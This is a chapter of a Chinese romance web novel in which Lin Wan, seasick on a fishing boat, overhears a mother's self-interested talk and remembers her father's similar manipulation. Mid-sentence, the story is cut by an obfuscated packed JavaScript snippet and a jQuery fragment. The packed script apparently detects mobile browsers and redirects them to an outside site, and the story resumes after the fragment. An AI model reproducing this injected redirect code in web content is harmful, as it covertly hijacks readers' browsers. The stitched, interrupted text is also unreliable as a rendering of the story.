船长显然是他们的熟人,说话既显得亲近,又极其符合林晚对海上船长的刻板印象。
说是刻板印象,大概是看加勒比海盗的后遗症。
“小鱼带来一个姑娘呀?哎呀呀,真是难得。”
穿着休闲服带着草帽,皮肤更加黝黑的船长,左手拿着烟草,右手用挂脖子上的白毛巾擦额头上的汗珠。
沈美珍立刻瞪了她一眼:“老黄你呀,是不是捕鱼捕久了,视力也不行了。人家是姐弟,净说的胡话。”
她穿了一件橙色印花的海边度假风长裙,腰间系了一个皮质黑色腰带,衣服极为酷炫的猫眼墨镜架在鼻梁上。
她与身边穿着极为随意的黄强强站在一起,像极了女王和身边的随从。
沈美珍此话一出,身边的侍卫立刻搭腔:“对呀爸,这是屿哥的姐姐。”
原来是一家人。
“嘶。”老黄倒吸一口凉气,立刻冲着林晚道歉。
“老眼昏花了,不好意思哈,改天就去医院瞧瞧。”
林晚连连摆手,示意没有关系。
这样的错认其实也无伤大雅。
船开始鸣笛,一声声在午间码头显得格外高亢,惊起原本在船只上啄食的海鸥,大片起飞,在空中盘旋。
这艘船显得有些逼仄,林晚坐在船舱里,觉得空气有些浑浊,几乎叫人呼不上气。
她的视线不自觉地停留在沈美珍腰间的皮质腰带上,又在意识到自己究竟在想什么的时候,瞬间移开目光。
昨天,陈屿还是吓到她了。
“这船也旧了,平时老黄一个人住海边。”沈美珍熟练地从船舱的冰箱拿出几瓶矿泉水,递给林晚他们。
林晚略微起身双手接过瓶子,道了声谢。
冰凉的矿泉水瓶一到闷热的空气中就开始在瓶壁上凝结出水珠,湿濡了手心,又顺着外面滑下,在陈旧廉价的塑料桌上聚集成一小摊水渍。
林晚拧开瓶盖灌了两口,一路凉到胃。
——更不舒服了。
“可惜这里的学校不好,为了小强学习,我就陪着他到城里去上初中。”沈美珍也灌了一大口水,伸手拍了拍坐在木凳上黄强强的背。
“谁知道他也不学好,一天到晚鬼混。”
似乎这一掌的威力极大,原本坐在木凳上乐呵呵看手机的黄强强猛然被击落,一屁股坐在地上,有些吃痛地哀嚎。
沈美珍有些没眼看:“哎呀,真是。哎呀。”
她伸手把黄强强从地上拉起来:“你跟着小鱼好好学学,人直接就去……那个,那个什么班。”
“那能是我不想学吗。”黄强强不敢怒也不敢言,低着头揉屁股,奴奴囔囔地反驳着。
沈美珍睨了他一眼,黄强强眨了眨眼,不说话了。
“哎,那小林同学是去哪个学校了呀?”沈美珍问。
林晚有些晕船,脑袋实在有些转不过来,昏昏沉沉看着沈美珍,想让她再问一遍问题,自己有些没听清。
“是和我同一所。”
身边的陈屿替她回答了。听到答案,林晚保持沉默。
“那你们可真有缘哎!”沈美珍拍了一下手,笑出了声,视线看向林晚又落回陈屿,像是发现了什么很有意思的事情,视线在两人之间循环往复。
“哎呀,真有缘——不过我得去看看老黄了,陪陪他去。”
沈美珍又从冰箱里拿了一瓶水,架在手肘下,对着黄强强说:“你好好招待,带着他们钓钓鱼,喂喂海鸥之类的。”
黄强强领命称是,雪白的牙又露了出来。
林晚看着沈美珍离开,觉得自己也应该跟上,她又喝了一口水,觉得自己额头有血管“突突突”跳得厉害。
先休息一下,等下过去吧。她想。
黄强强不舍地看了一眼手机,将它放回腰间,双手交叠在身前,双脚成圆规站姿地说道:“我…我带你们先去看看海吧。”
“现在还没到捕鱼的地方,可以先随便看看。”黄强强说着,视线就停留在他鞋边的一亩三分地。
幸福家庭的孩子才有幼稚的余地。
“没事没事。”林晚摆着手:“你可以先做你喜欢的事情,我们就随便看看。”
胃部有酸水涌了上来,林晚几乎要干呕,她尽力保持着平静的姿态,平稳地坐在餐桌边的塑料椅上。
船舱很小,三个人坐着也很拥挤。
“真的可以吗?”黄强强的眼神明显亮了起来,手都伸进口袋里了,嘴上还在询问林晚的意见。
“屿哥对这个也很熟的。”黄强强拿出手机,将重担交给陈屿。
如果沈美珍看到这个场景必然会破口大骂,哪有这么招待客人的——幸好她不在。
黄强强揣着手机满脸兴奋,左看右看后跑进更深的船舱。留下林晚、陈屿两人在原地。
“晕船了吗?”陈屿俯身在她耳边说道。
林晚下意识身体向后仰,拉开两人之间的距离。
“一点点。”身体后倾,林晚回答地艰难。
发梢扫过喉结,陈屿伸手想去抚摸她的发梢。
林晚装作不知情,顺手将头发扎了起来。
陈屿的动作一顿,收回手,没有再说话。
两人就这么安静地坐着,似乎要等到天荒地老。
正午的阳光逐渐倾斜,船舱内逐渐多了重叠的影子,灰尘在船舱中浮动着,接近日落时的光线格外的漂亮。
颜色瑰丽,衬得海水像流动的水晶。
林晚一直以为自己的意识格外的清醒,她甚至知道船舱何时发生了或细微或剧烈的颠簸。
然而,直到沈美珍走进房间,林晚才猛然从睡梦中惊喜。她大口大口喘着气,对刚刚光怪陆离的梦感到恐惧。
很奇怪,她已经很久没有梦到小时候的事情了。
船舱外夕阳西下,落日倒映在波光粼粼的海面上,有大片的海鸥绕着古旧的渔船盘旋飞翔。
“收网了,不少鱼呢。”沈美珍的声音是显而易见兴奋,看来收获破防。
下一秒,她的语调猛然一转。
“你们一直坐在这里吗?强子呢?”沈美珍脸垮了下来,笑容瞬间降落,林晚恍惚间觉得自己能在她身后看到蓬勃的火焰。
“阿姨,我原本有些不舒服,有些晕乎乎的。想着一时半会也玩不了什么,就先让黄强强休息一下。”
林晚赶忙解释,生怕沈美珍一下子气过头,直接拎着黄强强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053627|177539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就打。
“噢,这样。”
沈美珍将手上的面包放在林晚手上,向她解释一下面包的用途后,一撩头发,面无表情就向更深处的仓房走去。
林晚的心有些纠了起来,她的手略微攥紧,手心的面包柔软湿润。
陈屿不知道到哪里去了。
林晚环顾四周,才发现身边没有陈屿的身影。她抿了抿唇,伸手擦了擦额角因为噩梦而渗出的汗水,心情有些微妙。
还以为,他会一直守在她身边呢。
原来,也不过如此呀。
她在窗边站起身子,想要走进仓房替黄强强解释一下,避免因为自己的原因黄强强无缘无故挨了一顿打。
然而,走进一听,并不是黄强强的哀嚎声,而是沈美珍苦口婆心的教导。
“小强,你知道妈为什么要让你邀请小林一起来吗?”
门没有完全掩上,透过之间的缝隙,林晚看到昏黄的天光中,沈美珍插着腰站在黄强强面前,她显得无奈极了。
黄强强显得格外心虚,但显然手机上的游戏没有结束,他只能一边恐惧,同时手不断操作着。
一模一样的话。
林晚缓慢地吐出胸口郁结的气,儿时,林震也跟她讲过一模一样的话。
此时此刻,她站在昏暗的船舱过道中,仿佛再一次见证了那个糟糕的午后。
林晚一步步向后退去,她的手紧紧捂住下巴,才让她没有发出任何多余声响。
“晚晚,你知道爸爸为什么要邀请周家的孩子吗?”
艳阳天的午后,阳光依旧灿烂非常。
和小伙伴玩得极为开心的林晚,捧着小熊突然被林震叫去了花房。
“什么?爸爸,我不太明白。”
林晚对这样的父亲有些惊惧,稚嫩的手紧紧抱住怀中的玩具小熊,仿佛它能够给予自己一些力量似的。
林震一脸淡然,随手摆弄着花花草草,他一向喜欢这些奇花异草,家中被这些绿植装点得极为赏心悦目。
他缓慢地拿出剪刀,将树木横生出来的枝干减掉。
“咔哒”。
他的手极为用力,一瞬间有青筋暴起,但他的表情依旧是平静的。
“晚晚,多和周家的小朋友玩。其他的人,暂时不重要。”
林震伸出手,对着那盆植物又是一刀。他对园艺极为专业,知道这样减掉枝干后会让原有的植物长得更加茂盛。
“什么,爸爸?可是,我和……”林晚的手紧紧攥住手中的熊,想要反驳。
“晚晚,那些人,并不重要。”
林震又重复了一遍他刚刚的话,这一次,他甚至没有将视线放在林晚身上,语气也显得格外凉。
“你听爸爸的就好。”
又是这一句话,在她仅有的人生中,这句话是林震同她说过频率最高的话。
功利、利益,似乎所有人都对此心驰神往,但凡看到可以接近的苗头便趋之若鹜。
林震是这样,沈美珍,原来也是这样。
林晚的背贴上了船舱的墙壁,一阵无端的寒意从她的脊背缓慢向上爬。
所以,陈屿也会是这样吗?
她捂住嘴的手缓慢向下放。